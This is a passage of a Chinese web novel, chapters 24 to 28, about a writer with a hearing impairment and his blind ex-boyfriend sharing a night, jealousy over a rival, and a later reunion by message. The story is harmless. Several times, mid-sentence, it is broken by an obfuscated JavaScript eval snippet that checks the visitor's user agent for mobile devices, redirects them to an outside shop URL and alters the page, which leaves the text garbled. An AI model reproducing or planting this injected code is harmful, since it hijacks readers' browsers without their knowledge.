“是有点像,”乔辽瞥向易秋光戳在他肩膀上的手指,“你是有什么事要给我说吗?” “我是想和你互关一下微博,后期发预告的时候需要你帮忙转发一下,”易秋光收回手,拿起手机扒拉一下,“你微博名叫什么?” 乔辽快速回复郭宝卓的消息,让这人赶紧回家洗漱睡觉去,接着就打开微博:“我的微博名就叫‘故听’。” “我叫‘失眠行星三季’,”易秋光问他,“你搜到了吗?” “搜到了,已经关注了。”何止是关注,乔辽已经看起来了。 易秋光微博还挺有意思的,除了工作,他偶尔还会分享一下生活上的事情,评论区也很热闹,这人时不时地还会和大家互动一下。 就是有个账号挺扎眼的。 账号名字叫:失眠行星捕山月。 整得和情侣名似的,乔辽也想改名,叫失眠行星故听。 “我也关注你了,”易秋光说完后还打了个呵欠,“故听老师,你困了没?” 并没有。 但他也不可能拉着易秋光一起熬夜,毕竟这人明天还要去工作室,好好休息才是最重要的事。 于是乔辽说:“有点,我关灯吧,睡觉。” “行,”易秋光放下手机,偏头整理一下枕头,接着躺了下去,“那……晚安。” “晚安。”乔辽侧着身子,伸手关上灯。 房间里瞬间陷入黑暗,但这黑没持续多久,他的手机就响了声,乔辽说了声“不好意思”,立马拿起手机看了眼,是郭宝卓发来的消息。 “没事。”易秋光说。 乔辽没再说话,他先把手机调成静音,又点进聊天界面。 郭宝卓这次没再乱喊,他问乔辽:你们怎么睡上了? 乔辽回复:纠正一下,是睡在同一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔辽在心底叹出一口气,正要重新躺好,易秋光翻了个身,没再平躺着,他伸手握住乔辽的手,开始轻轻捏着。 “是这只手撞到了?”易秋光现在是什么表情呢,会皱眉吗,可他的语气听着还挺平静的。 “是……真没事,”乔辽突然想着,易秋光不会听完这句就放手吧,于是他又连忙补上一句,“我能忍,不算很疼。” 易秋光在他手背上轻碰两下:“哪里疼?” “这里。”乔辽握住他的手,带着这只手从指尖位置缓慢上移,停在手背正中间。 乔辽说:“就是这里疼。” 易秋光用指尖轻轻点了点,也不敢用太大力气,接着又用指腹小心地在那里轻蹭两下。 “破皮了没,我没摸出来,”易秋光一下子收回手,看样子是想下床,“我还是去拿药吧,给你擦一点,你等我一下,很快。” “不用了,没破皮,”乔辽一把拉住他的手,“睡吧,我没事了。” “不疼了?这么快?”易秋光也没甩开他的手,而是坐在床边,轻声问道。 乔辽牵着他的手,轻晃两下:“已经好了。” 房间里陷入沉默,易秋光不说话也不动,乔辽牵着他的手,用大拇指在易秋光掌心轻按两下。 “你……”乔辽抿了抿唇,话到嘴边,他又换了一句,“你当时适应这个地方,应该花了不少时间吧。” 听见这话,易秋光突然紧了紧被握住的手。 他问乔辽:“怎么了,干嘛突然问这个。” 25. 怀中 这个家里的家具都有着尖锐的角,乔辽只是一个不小心就会磕碰到手背。 易秋光在这里住着,出现这种情况的次数只会更多。 “就是想问问,”乔辽顿了顿,又说,“我就是觉得,你家里的家具不太合适,尖角太多,容易磕碰。” “还好吧,”易秋光似乎是在笑着,“刚住到这里的时候,确实会有很多不适应的地方,我是买的二手精装修,家具什么的我也没换过,慢慢熟悉就好了,反正是每天都要回来的地方。” “我也是买的二手精装修,”乔辽犹豫一下,还是说道,“你一个人适应也挺难的,不容易。” 大拇指又在易秋光掌心轻按两下,视线差不多适应黑暗了,乔辽现在能看见易秋光的轮廓,能看见易秋光正望着他的方向。 就好像,他们正在对视着。 “没有,我当时不是一个人,”易秋光的手渐渐从乔辽手心抽离出来,“那个时候,捕山月经常陪着我,要不然,我肯定还会在这间屋子里磕碰更多次。” 手心里的温暖残留了一些,但没过几秒,这点温度就被空调凉风吹散了,乔辽握了握空着的手,也不知道该说什么。 捕山月。 又是捕山月。 他相信自己的直觉,更相信自己的眼睛。 捕山月绝对喜欢易秋光,这是百分之百的事,易秋光似乎也不抗拒这个人的接近。 在他最需要帮助和陪伴的时候,陪在他身边的人,还是捕山月。 一直都是捕山月。 他们两个人……不会已经在一起了吧。 易秋光已经重新躺好,就好像刚才那个牵手只是正常触碰,不过也是,能从那个牵手里感受到心动和暧昧的,只会有乔辽自己。 “那也挺好,有个人陪着是挺好的。”现在已经没什么话可以劝住乔辽了,他现在反倒是觉得困了,累得慌。 身边人轻声“嗯”了一下,乔辽躺到床上,翻了个身,又说了一句:“挺好。” 易秋光没再回应,乔辽就这么侧着身子睡,听着身边人的呼吸变得平稳,这还是他第一次听见易秋光睡觉时的呼吸声,这种感觉挺奇妙的。 就好像有那么一个人,在你生命里存在了很久,你们每天都能见面,一起生活,但在这一刻,这个人突然就变得很具体。 声音的存在,是很重要的。 在以前无声的世界里,想要找到易秋光全靠眼睛。 但他也有被噩梦惊醒的时候。 眼睛需要时间去适应黑暗,他却需要得到安全感。 爱人依旧还在身边的安全感。 伸手去触碰是最不该的,他担心自己的力度把控不好,会让易秋光的睡眠变得糟糕,那个时候的乔辽,能做的只有等待。 等着双眼适应这片黑,等着看清身边人的轮廓,等着安全感重回。 乔辽深呼吸一口气,认真听着身边人的呼吸声。 他从未像现在这样,拥有如此之多的安全感,此时的每一分一秒,都令乔辽感到满足。 在这种时候,周围的一切也变得不再陌生,只因为他身边躺着易秋光。 这个人,能让乔辽适应一切不习惯。 从呼吸声可以听出来,易秋光应该已经睡熟了,乔辽放轻动作,扯起一角被子放到鼻子下面闻了闻。 他最先感受的是微凉,接着就是淡淡的香味,也不知道这是一种什么味道,但这种气味挺好闻的。 乔辽眨了眨眼,微低下头,让被子盖住大半张脸,眨眼的那一瞬,他感觉到了干涩,还带着点疼痛,接着就是鼻头一酸。 这个夜晚,和他以前想象出来的画面不太一样。 他本来以为,要是哪天真的和易秋光遇见,在他们和好之后,第一次躺在床上应该会彻夜长谈。 谈一谈分开这两年,都经历了什么,再说一说他们之前的那些年,回忆一下曾经那些好的,或是不好的。 想得远了,甚至还会觉得,他们会不会拥抱着彼此留下一个绵长的吻,又或是和以前那样,在夜里感受着彼此的体温。 乔辽想得多,就是没想到过,他们重逢后,两个人第一次躺在一张床上,会是这种模样。 谁都不挨着谁,中间空着一大块地方,连对方的体温也没办法感觉到,乔辽甚至都不敢平躺着,他只敢像这样蜷缩着身子,面向看不见易秋光的地方。 这个夜晚还挺长的,保持侧睡姿势太久,乔辽的腰也有些发酸,脑子里乱七八糟地想着。 他一会儿想着,正在连载的小说后面该怎么写,一会儿又琢磨着,今晚吃的烧烤有没有分店,经营一家烤串店是不是挺不容易的。 乔辽越想越远,最后都想到,要是他开了一家烧烤店,会开成什么样。 熬夜这方面,他肯定没问题,说起这个,他还是有话语权的,烤串味道这方面,他没什么可以拿得出手的,店里肯定得招人。 好像有点想太远了,还是想点近的比较实在,乔辽干脆想了想,门面要租在哪个地段,店里要装修成什么风格,店名呢,要叫什么才好。 问题一下子就变得多起来,乔辽睁着眼,挨个慢慢想着那些问题的答案,但他总是想不明白,经常想到一半就会卡住。 深吸一口气后,鼻酸的感觉再次出现。 找再多的问题都没用,变着法地让自己转移注意力也没用。 睡不着就是睡不着,想易秋光就是想,哭了就是哭了。 哭得厉害了,鼻塞也跟着来了,这感觉挺难受的,他轻吸两下鼻子,正准备抬手擦一下眼泪。 突然,身后人翻了个身,把胳膊搭到他腰上。 身体下意识僵硬,就连呼吸都放缓,乔辽认真听着房间里的动静,可易秋光没再有下一步。 估计就是睡太熟了,习惯性地翻了个身,没有其他意思,也不用去琢磨这个触碰的含义。 像现在这样,就很好了。 易秋光就躺在身边,睡得安稳,他们之间不用再说什么,只要记住此刻就好。 就算只有乔辽一个人记得,那也是好的。 可是啊。 可是……他真的好想侧过身去,把易秋光搂入怀中。 但他要是真的这么做,今天晚上注定不能像这样简单地结束,要么会被易秋光当成变态,要么,就是坦白地告诉易秋光。 他是故听,也是乔辽。 网上不都说,成年人从不做选择,要么全不要,要么全部要。 但乔辽不这样认为。 两个选项,他都不要,但他要选第三个。 这第三个选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刚睡醒的时候本来就迷糊,要是在厕所里摔一跤就不好了。 其实,这是个挺小的事,去个厕所而已。 易秋光一个人去也可以。 乔辽知道的,易秋光绝对可以。 从走进这个家的那一刻,乔辽就知道了。 易秋光把这个房子布置得很好,色彩不单调,但也不扎眼,家里的卫生做得很好,卧室里更是有一种温馨的感觉,桌子上放着办公用品,东西挺多的,却不会显得乱,靠墙位置还放着几个亚克力立牌。 这一切都在告诉乔辽一个事实。 你看吧。 易秋光现在,过得很好。 是啊,易秋光过得很好,他能一个人出门,能交朋友,能在自己擅长的领域做出成绩。 只是去个厕所而已,易秋光有什么不行的? 可乔辽过不去自己心里那一关。 两年前,易秋光在浴室里摔倒,自己都无法察觉的那一关。 这件事没办法过去,不管时间往前走了多少年,乔辽都没办法原谅当时的自己。 永远。 易秋光走在黑暗里,乔辽也没有开灯,可当他们走到浴室门口时,易秋光却按下了灯的开关。 头顶的灯一瞬间亮起来,是暖黄色的。 “故听老师,”易秋光走到门边,抬手握住门把手,“你要先去吗?” “不用,你去吧,”乔辽想往前再走一步,但他没能迈出去,最终还是停在原地,“我就在这里等你。” 易秋光沉默了一会儿,最后,他朝着乔辽的方向笑了笑:“好。” 26. 因为 当易秋光走进浴室关上门,乔辽就和两年前那样,一直看着眼前那扇门,什么都不干。 就是等着。 头顶的灯替他照亮周围,可他只是站在这里,哪儿都没去。 易秋光的世界里一片漆黑,再亮的灯都没办法照亮什么。 但易秋光要去地方太多太多,乔辽也没办法再成为他的灯。 冲水声响起,乔辽眨了一下眼睛,易秋光打开浴室门,走了出来。 “我好了,”易秋光说,“你进去吧。” “我不想去了。”乔辽说完这句,易秋光沉默了一会儿。 接着,他问乔辽:“现在几点了?” 乔辽愣了一下,随后偏头看向客厅,他看过去的位置放着一个电子钟,在这种不开灯的夜里,亮得就像一盏小夜灯。 这个电子钟屏幕挺大的,隔远了也能看得清,现在,屏幕上显示着时间已经快要到凌晨三点。 “快到三点了,回去继续睡吧。”乔辽说完还是站在原地,他等着易秋光先往前走。 谁知道易秋光却说:“那你先回房间,我喝口水就来,空调开着有点口渴。” “那我也喝一点,”乔辽说,“一起去。” 易秋光像是猜到他会这样说,点了点头,转身往冰箱那边走,乔辽跟在他后面。 走到冰箱面前时,乔辽问了一句:“杯子放在哪里,我去拿。” “不用,”易秋光打开冰箱门,从里面拿出两瓶矿泉水,递了一瓶给乔辽,“我不怎么用杯子,家里买了有,但怕摔坏,不好收拾。” 乔辽拧开瓶盖,仰头灌了一口冰水,凉水入喉,让他变得更加清醒。 这句话,他不知道该怎么回答,再次喝下一口冰水,乔辽只说了一句:“也挺好的,安全第一,矿泉水也方便。” “厨房还有净水器,你要是想喝,我就去帮你拿个杯子,”易秋光关上冰箱门,往厨房指了指,“杯子买回家也没用过几次,你别嫌弃就行。” “不喝了,”乔辽拧紧瓶盖,犹豫一下又说,“已经不渴了,不是嫌弃你,我也不会嫌弃你。” “我知道,”易秋光又喝了一口水,拧上瓶盖后,走到餐桌边,把矿泉水放到桌上,“回房间继续睡吧。” 乔辽一直跟在易秋光身侧,他“嗯”了一声,也和易秋光一样,把矿泉水放到桌上。 他把自己的那瓶,和易秋光的那瓶挨在一起,看上两眼后,又把自己那瓶往边上挪了些。 回房间的那几步路,他们谁都没说话,过道有些窄,但也足够让两个人一起通过,易秋光却让乔辽先回房间,他说:“房间灯没开,要是再把外面的灯关上,太容易看不见路。” 乔辽当然知道。 闭眼走路这种事,他在家里试过不止一次,那么短的路程,那么熟悉的环境,他却没办法避免磕碰。 乔辽说了声“好”,紧接着,他抬头看了眼。 原来,暖黄色的灯并不是只有一盏,而是三盏。 一个是星星,一个是月亮,中间那个是云朵。 这三盏灯,和这个家里的装修风格倒也是挺配的,乔辽挪开视线,从暖黄色的光亮下走过,进了房间。 从衣柜边上路过时,乔辽再次看见那扇有些敞开的柜门。 他伸手轻推一下,柜门还是没有关紧。 乔辽打开衣柜门看了眼,原来是一件衣服没放好,才让柜门被卡住。 他把这件衣服拿出来,叠好后重新放回去,这次,衣柜门终于被好好地关上了。 当他躺上床的那一刻,外面响起了关灯的语音提醒,接着就是易秋光的脚步声。 当这人重新躺到床上之后,平稳的呼吸声也再次回到乔辽耳边。 他本来还以为,今晚不会再有别的事了,他应该会继续失眠,而易秋光则会重新睡着,直到天亮。 可身边人突然深吸一口气,接着就像是没忍住一样笑了起来。 乔辽偏头望过去,轻声问他:“怎么了?” “想到一些以前的事情,”易秋光也偏过头,对着乔辽的方向说道,“刚才去厕所,你在门口等着的时候,我突然想到一个人。” “那个人怎么了?”乔辽问。 “他以前也和你一样,总是在我去上厕所或是去洗澡的时候站在门口等着,”易秋光说到这里停顿一下,语气里依旧带着笑意,“我知道的,他是在担心我,所以我每次都会快一些,好让他担心的时间也减少一点。” 乔辽想问,这个人叫什么名字。 是一个叫乔辽的人吗? 但他没这么问,而是说:“这个人……是和你关系很好的人吗,就像你和捕山月那样。” 易秋光说:“我和他的关系,要比我和捕山月的关系更好。” 这句话还挺让乔辽高兴的,他心里有把握,易秋光说的这个人,肯定就是自己没错。 两年而已,只有两年。 这样亲密的相处,只会出现在他和易秋光之间。 可易秋光的下一句,却让他心底那点高兴瞬间沉了底。 “可我和他,也只是以前关系好,”易秋光语气里的笑意消失了,说话声音都小了不少,“现在和我关系最好的人,是捕山月了。” “是吗,”视线再次适应黑暗,乔辽看着易秋光的眼睛,问道,“那你和那个人是什么关系,和捕山月又是什么关系?” 按道理说,故听没有资格也没有身份去问这个问题。 易秋光要是不想回答,也是能够理解的事。 他没想到,易秋光不仅回答了,还没有任何掩饰。 这人说:“那个人是我前男友,捕山月是朋友,很好的那种。” 乔辽“嗯”了声,易秋光又说:“我说那个人是我前男友,你不会觉得奇怪吗?就是……不是前女友,而是,前男友。” “不会,”乔辽说,“不管是前男友还是前女友,这两种其实都是一样的,都是感情,都是用真心在对待的。” 黑暗中,乔辽看见易秋光的眼睛眨了眨,嘴角也扬了起来。 乔辽也跟着笑了笑,下一秒又收起笑容,开口说道:“所以,你现在是单身?” “是啊,”易秋光问他,“怎么了?” “我就是随便问问,”乔辽说,“感觉那个捕山月对你挺好的,你们……会在一起吗?” “能不回答吗,”易秋光深吸一口气,又呼出,沉默几秒,“你就当作,这件事的答案对我而言,是个秘密吧。” 乔辽“嗯”了声:“好,那我就不问了。” “谢谢,”易秋光把薄被往胸口处扯了扯,“故听老师还有什么想聊的吗,没有的话,我就接着睡了。” 真要聊的话,乔辽有无数个问题想问,但他不敢问,更不敢选择此刻去问,夜晚很好,躺在易秋光身边更好,要是让他选择,他只想让这一刻停下。 只要像这样,一直待在易秋光身边就好。 沉默太久,易秋光再次开了口:“那我就继续睡了,晚安。” “等一下,”空调吹太久,让乔辽喉咙都有些发干,他吞咽一口,问道,“你那个前男友,是你谈过的第一个男朋友吗?” 易秋光“嗯”了声。 乔辽接着问道:“那你们感情应该很好吧,你和他……还有没有可能?” “他啊,”易秋光呼出一口气,似乎是在可惜,“很难说。” “为什么?”乔辽问。 “因为,”易秋光眨了一下眼,说出一句令乔辽意想不到的话,“我恨他。” 我恨他。 易秋光恨他。 “为什么?”乔辽什么都不想再问,他只想知道。 为什么?到底是为什么。 可易秋光不肯再说,他翻了个身,乔辽再也看不见他的双眼了。 “故听老师,睡吧,”易秋光说,“不早了。” 身边人的呼吸很快变得有规律,应该是再次睡着了,乔辽脑子里不停响起易秋光那句“我恨他”,眼眶和鼻尖也变得越来越酸。 他躺在那里,看着易秋光的后背,把他们一起走过的那些年想了一遍又一遍,乔辽想从那些回忆里,找出自己做过的所有错事,找出易秋光恨他的原因。 可直到易秋光的闹钟响起,乔辽也没想明白这个问题。 回忆都快被掏空了,哭都快哭不出来了。 为什么呢? 为什么啊? 闹钟铃声的节奏越来越强,当舒缓音乐变得吵人时,易秋光叹出一口气,拿起手机点了点屏幕。 电子男声朗读着:十分钟后再次响铃。 易秋光大概是没睡好,当闹钟再次响起后,他终于坐了起来,手机被握在手里,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140560|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在不停响着。 “不想上班,”易秋光又叹了一口气,“人为什么一定要上班,银行卡里的钱为什么不能自己变多……” 乔辽安静听着,在闹钟停下的那一刻,易秋光偏头望向他那边:“故听老师,你喜欢上班吗?” “我写小说都是在家里,有灵感的时候还行,卡文就不行了,”乔辽也坐了起来,靠上床头偏着脑袋看向易秋光,“我其实还是挺喜欢这个职业的,从小就喜欢。” “我也喜欢现在的工作,”易秋光掀开被子下了床,“就是不喜欢早起,不喜欢熬夜。” “那我也挺不喜欢的,”乔辽跟着一起下了床,“尤其是熬夜赶稿子。” “哎——”易秋光穿上鞋,拿起手机扒拉两下,电子男声播报出时间,这人也往房间门口慢慢走着,“洗漱去吧。” 乔辽就像个跟屁虫一样,易秋光干什么他就干什么,刷牙的时候,易秋光还给他拿来一支新牙刷。 “你用这个,我上次在超市买的新的,”易秋光又拿起牙膏递过去,“牙膏是我随便买的,味道可能不太好……” 乔辽接过牙膏,往牙刷上挤了一点,开始刷的时候,他才明白易秋光那句话是什么意思。 确实味道不怎么样,薄荷味太冲,还混着一股中药的味道,刷在嘴里一边提神醒脑,一边冲击口腔。 刷着刷着,乔辽干呕一下,这味道……实在是恶心。 易秋光听见这动静,立马偏头望着他笑起来:“味道很奇怪吧。” 还没等乔辽回答,门铃声突然响了起来,易秋光说了一句:“我去开门。” 这人转身就往门口走,留下乔辽一个人在洗手池边站着。 他听见门被打开的声音,接着就是一道男声:“刷牙呢,我给你带了早饭。” 好熟悉的声音。 乔辽连忙转身往门口走,一过去就看见捕山月满脸的笑,这人手里还提着一袋包子和一杯豆浆。 两人对视的那一刻,捕山月不笑了。 “你怎么在这儿?”捕山月盯着乔辽问道。 “那你呢,”乔辽把牙刷从嘴里拿出来,“你来干什么。” 嘴里泡沫太多,说话也不敢太大声,不然得喷一堆沫子,偏偏用这种声音说出口的话,显得没什么气势。 “我来接三季去工作室。”捕山月移开视线,关上门往客厅走,他把早饭放到桌上,也没再搭理乔辽。 “你等一会儿,我马上就好了,”易秋光冲着捕山月那边笑了笑,“稍等一下。” “昨晚我给你打电话的时候,你怎么不说故听老师也在你家,”捕山月语气里似乎还带着点委屈,“你就一口一个‘知道了’,过会儿又是‘先挂了’,我还以为你在忙什么呢,都不肯和我多说两句。” “忙工作啊,”易秋光说,“我现在也忙,衣服都还没换呢。” “你忙你的,”捕山月脸上的笑又出来了,比川剧变脸的速度都快,“我等你。” 这人也是说等就等,往客厅沙发上一坐就跟个监工一样,视线一直落在易秋光身上,直到俩人都换好衣服,乔辽也把内裤从阳台取下来,一把揣进裤子口袋里,准备要出门的时候,捕山月才站了起来。 他连忙把桌上的早饭递给易秋光,叮嘱这人快点吃,再不吃就得冷了,吃冷的早饭还会肚子不舒服。 乔辽在心里“啧”了声,脸上倒是没露出什么表情。 他们一起走出门,易秋光一手提着一袋李子,这人把其中一袋李子递给乔辽:“你住哪儿啊,我们把你送回去吧,昨天麻烦你了,今天早上还没能让你多睡一会儿。” “不用了,”乔辽接过李子,拿出手机看了眼时间,“现在不早了,你们直接去工作室就行。” “你住得很远吗?”易秋光问。 乔辽报了住址,易秋光想了想,说道:“那是有点远了,但时间上还来得及。” “算了,”乔辽瞥了捕山月一眼,接着就看向易秋光,“我自己回去就行,路上顺便买点早饭吃,就不麻烦你们了。” 易秋光犹豫一下,也没再劝,他上了捕山月的车,又放下车窗对乔辽说:“那我们就先走了,故听老师,有机会再见。” “是‘下次再见’,”乔辽说,“你还欠我两顿饭。” “对,”易秋光笑着说,“那我们下次再见。” 27. 好像 也不知道“下次再见”会在多久之后。 乔辽只希望,时间能快一点,“下次”最好是在今天。 可他知道,今天是不可能了。 刚才那一眼,应该就是今天看见易秋光的最后一眼。 乔辽看着车驶离小区,在他拿出手机准备叫车的时候,耳蜗和助听器也响起了提示音,在快要到家时,他的世界彻底失去了声音。 车停下的那一刻,乔辽只觉得整个世界都在摇晃。 开门下车是没有声音的,关门也是无声,乔辽看着那些从眼前走过的路人,又低头看向自己往前走的每一步。 世界如此安静,他的脑子里还是只有易秋光那句“我恨他”。 回到家后,乔辽什么都没吃,他先是拿出手机付了车费,接着就把耳蜗和助听器充上电,那袋李子也被放进了厨房。 进了房间,乔辽把内裤从口袋里拿出来,扔进衣柜,换上一套居家服后躺到床上,眨了眨有些干涩的眼,盯着天花板一直发呆。 也不知道是什么时候睡着的,他只知道自己做了一个混乱的梦,在梦里,他还是不会说话,也听不见。 他站在远处,看着易秋光和佟舟说话,说着说着,易秋光突然扭头看了他一眼,接着,佟舟也偏过头,但这人的脸,一下子就成了捕山月的脸。 他们对着乔辽说了好多话,但乔辽一句都听不见。 这个口型是什么意思,他们到底在说什么? 到底是在说什么啊! 乔辽猛地从床上坐起来,大口喘着粗气,后背的衣服也被汗水打湿,空调风吹过来的时候,衣服紧贴后背,凉意直往心里钻。 房间里一片漆黑,窗帘缝隙也没有透进一丝光亮,乔辽下了床,走到窗边拉开窗帘。 外面天已经黑了,只剩小区里的路灯还亮着,对面那栋楼也没有几户家里亮着灯,乔辽估计着,现在时间应该很晚了。 助听器和耳蜗都已经充满电,他站在原地愣了好一会儿,饥饿感不止一次发出抗议,最后,乔辽选择打开房间里的灯,点个外卖解决一下肚子饿的问题。 头顶那盏灯亮起的那一刻,乔辽下意识眯了眯眼,他走回床边,拿起枕边的手机准备点外卖,当他点亮屏幕的时候,看见的却是最顶上的未读消息。 发来消息的人,是易秋光。 乔辽连忙点了点屏幕,易秋光发来的消息也跳了出来,一共两条。 一条是在中午饭点发的:故听老师,你现在忙吗? 另一条是晚上九点多发的:故听老师,捕山月老师关注你微博了,后期会有微博互动,要是方便的话,你们可以互关一下。 乔辽扒拉一下手机屏幕,退出聊天界面,点进微博。 粉丝数果然多了一位,点进去后,他一眼看见的就是“失眠行星捕山月”,接着就是下面那个“失眠行星三季”。 挺好的,这两个人挨得挺近……也是谁都不想让他好过。 乔辽深吸口气,极度不愿意地点下回关,扒拉一下屏幕,再次点进聊天界面,回复易秋光。 他回道:抱歉,消息回复有些晚,今天在赶稿,没怎么看手机。 这条发出去后,他又补上一条:已经和捕山月老师互关了。 现在这个点,易秋光应该不会回复了,但他没想到,这人竟然是秒回。 易秋光先是回了个“好的”,然后又发来一张截图。 图片里是他正在连载的小说内容,看这个界面,易秋光正在听书。 说实话,看见这张图的时候,乔辽还有一种很紧张的感觉,说得再具体点,就是怪不好意思的。 手机振动一下,易秋光再次发来一条消息:故听老师今天还更新吗,已经听完最新一章了。 不更,没写出来。 但乔辽不能这么直接地给易秋光说,毕竟就在刚才,他才给易秋光说,在那些没回消息的时间里,他都在赶稿。 总不能又撤回刚才的话,说自己睡了一整天吧。 更何况……现在已经没办法撤回了。 犹豫一会儿后,乔辽回复:今天不更新了,我明天修个文,明晚更新。 对话框上面显示“对方正在输入”,几秒后,易秋光回复道:那好可惜,我只好再等一等了。 这话说的……这难道就是读者在线催更的感觉吗?好爽! 问题不大,不就是写一章吗,分分钟的事。 可接下来,易秋光的回复又来了:既然你写了一整天,那我肯定能等到双更吧。 行,不就是写两章的事吗,我干了! 乔辽回了个“当然”,立马坐到桌前,打开电脑盯着码字界面发呆。 他盯一会儿屏幕就看向手机,可易秋光没再回复,码字界面的字数也没增加多少,但他这一觉睡饱了,熬夜写个两章还是没问题的。 也不知道他写了多久,手机再次振动的时候,乔辽还以为是收到了易秋光的回复,他一把拿起手机,带着笑点开屏幕,看见的却是郭宝卓这孙子发来的小作文。 从头到尾都是什么爱不爱的,看得人脑袋嗡嗡响。 笑容从乔辽脸上消失,郭宝卓的消息也再次发了过来。 郭宝卓:这是我写给心动对象的告别信,怎么样,是不是文采飞扬。 乔辽都没敢再扒拉屏幕往回看一眼,只好敷衍地回了个“挺好”。 但这人的目的不在于此,郭宝卓还让他帮忙改一下,让这个小作文的情绪再往上升一个档次。 这人说得还怪诚恳的:辽啊,我就这一个心动对象,你知道的,单相思无果啊,给我这颗心累惨了,累得稀巴烂,帮我一把,让我给心动对象留下一个文艺的印象,他就吃这套啊,文艺!你懂不! 懂个屁啊,但乔辽还是回复:懂……我正好在赶稿子,顺带了。 郭宝卓对于这个回答非常满意,这人表示,期待一觉醒来,就能看见充满文艺感的第二版小作文。 等吧,你就等着吧,乔辽瞥了眼消息没再回复。 他现在都快把键盘抡出火星子了,反正这一夜也不会再睡,写就完了。 等他写完的时候,离天亮也不远了,电脑被关上的那一刻,乔辽只觉得自己快要饿死了。 他拿起手机走到客厅,坐在沙发上点了份外卖,在等待的过程中,他去厨房把那袋李子全洗了,边等边吃总不至于饿死。 乔辽还是没有把助听器和耳蜗戴回去,他只得一次又一次看向屏幕上显示的配送距离,快要送达的时候,外面的天也亮了。 他站起身,走到门口,打开门等着。 边等边吃李子的后果还是挺难受的,李子是甜,但吃多了还是会让胃不舒服,更何况他还饿了那么久。 他这次外卖又点得太扎实,每一口饭吞下去都得缓一缓,噎得慌。 好不容易吃完这顿饭,乔辽只觉得胃难受得很。 但他又不想去床上躺着,一旦靠上枕头,就是睡着的命运。 今天白天不能再睡,不然晚上又是熬夜,这样下去就真是死循环了,乔辽选择在电脑面前坐一会儿,再起身在家里走上两圈。 白天的时间还挺好消耗的,到了晚上更新的时候,乔辽就觉得时间难熬了。 他一会儿想着易秋光怎么还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140561|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没发消息,今天的双更明明都发出去,可这人怎么没反应呢,再过一会儿,他又想着,不能是今晚的更新平淡了些,易秋光看完毫无记忆点吧。 完蛋啊乔辽,完大蛋。 乔辽在家里捧着手机走来走去,过了一小时后,新章评论里多出一条。 季:好吃!老师明天也是双更吗? 这个叫“季”的读者,是易秋光?乔辽抱着赌一把的想法,回复道:是的。 没过多久,乔辽就收到了易秋光的消息。 三季:那我等着明天的双更。 原来那个读者真的是易秋光。 乔辽回了个“好”,扒拉一下屏幕切回作者后台,点进“季”的读者页面。 读者页面显示出一长串被放进书架的小说,乔辽在里面看见好几本都是自己写的。 原来,易秋光只是不评论,但这人其实看过他的小说吗。 他在写那些小说的时候,主角的争吵和对于生活的迷茫,多多少少都有些他们的影子,也不知道易秋光在看的时候,会不会感受到。 今晚的乔辽睡了个好觉,第二天一睁眼就开始码字,他一天没有出门,吃饭也是外卖对付,可今晚的更新,易秋光没再出现。 聊天界面也没有易秋光发来的消息。 乔辽想着,大概……易秋光第二天就会和他联系了,可他想错了,易秋光很久没再联系他。 微博上,易秋光的账号活跃着,读者页面被放进书架的小说也越来越多,可他就是不给乔辽发消息了。 就好像他们从没遇见。 就好像,他们不会再见。 江城的汛期到了尾声,郭宝卓的单相思也结束了很久,天气逐渐变凉,树叶都成了黄色。 连载的小说也要进入收尾阶段,乔辽写道,主角二人打开心结,他们牵着彼此的手,走在回家的路上。 写到这里,乔辽脑子里突然就没了画面,他想着,自己和易秋光什么时候才能像主角这样,牵着手走在回家的路上。 放在键盘上的手许久没动,乔辽一个字都打不出来了。 下一秒,放在手边的手机振动亮屏,乔辽扭头看了眼,拿起手机扒拉一下屏幕。 屏幕上显示,发来消息的人是易秋光。 三季:故听老师,工作室发了广播剧预告,效果挺好的,听众期待值都很高。 乔辽紧握着手机,犹豫几秒,回复道:那你现在有空了吗,什么时候可以一起吃顿饭? 易秋光这次回复了一条语音。 看见语音消息的那一刻,乔辽立马戴上助听器和耳蜗,接着把语音转成文字,底下显示:今晚吧,你有空吗? 他点开语音,对着底下的文字听了一遍又一遍。 太久没听见易秋光的声音,乔辽总觉得,这句话真是怎么听都听不够。 乔辽给了易秋光肯定的答复,几秒后,易秋光又回复一条语音。 他说:“那晚上见,估计会有些晚,我到时候给你发消息。” 有多晚都无所谓,只要能见面就很好。 乔辽现在心情好了,他哼着歌打开衣柜开始捯饬自己,换好衣服后,点开微博看了眼。 就和易秋光说的一样,那条发着广播剧预告的微博底下,评论都很不错,他大概看了一眼,这条微博还有抽奖,只抽两个人,送主役双签明信片,开奖时间在广播剧上线前一天。 乔辽一边哼着歌一边回复微博,接着转发了一下。 他想着,反正抽奖也落不到他头上。 但他等会儿就要见到易秋光了。 这可是今天最大的好运。 28. 热饮 